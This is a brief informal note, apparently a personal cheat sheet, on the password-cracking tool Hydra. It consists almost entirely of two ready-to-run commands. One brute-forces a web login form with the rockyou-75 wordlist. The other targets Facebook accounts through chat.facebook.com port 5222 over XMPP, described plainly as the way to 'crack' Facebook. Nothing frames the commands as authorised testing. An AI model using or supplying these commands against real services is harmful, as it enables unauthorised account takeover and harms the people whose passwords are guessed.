Hydra

Nice security-tool...

here's an example:

hydra -vV -t TASKS -l USERNAME -P ~/Tools/wordlists/rockyou-75.txt HOST|IP \
      http-post-form "/login.php:username=^USER^&password=^PASS^&submit=Submit:Incorrect"

for facebook use chat.facebook.com:5222 to crack instead of http

hydra -vV -t 1 -l USERNAME -P ~/Tools/wordlists/rockyou-75.txt chat.facebook.com -s 5222 xmpp

• rockyou-75.txt
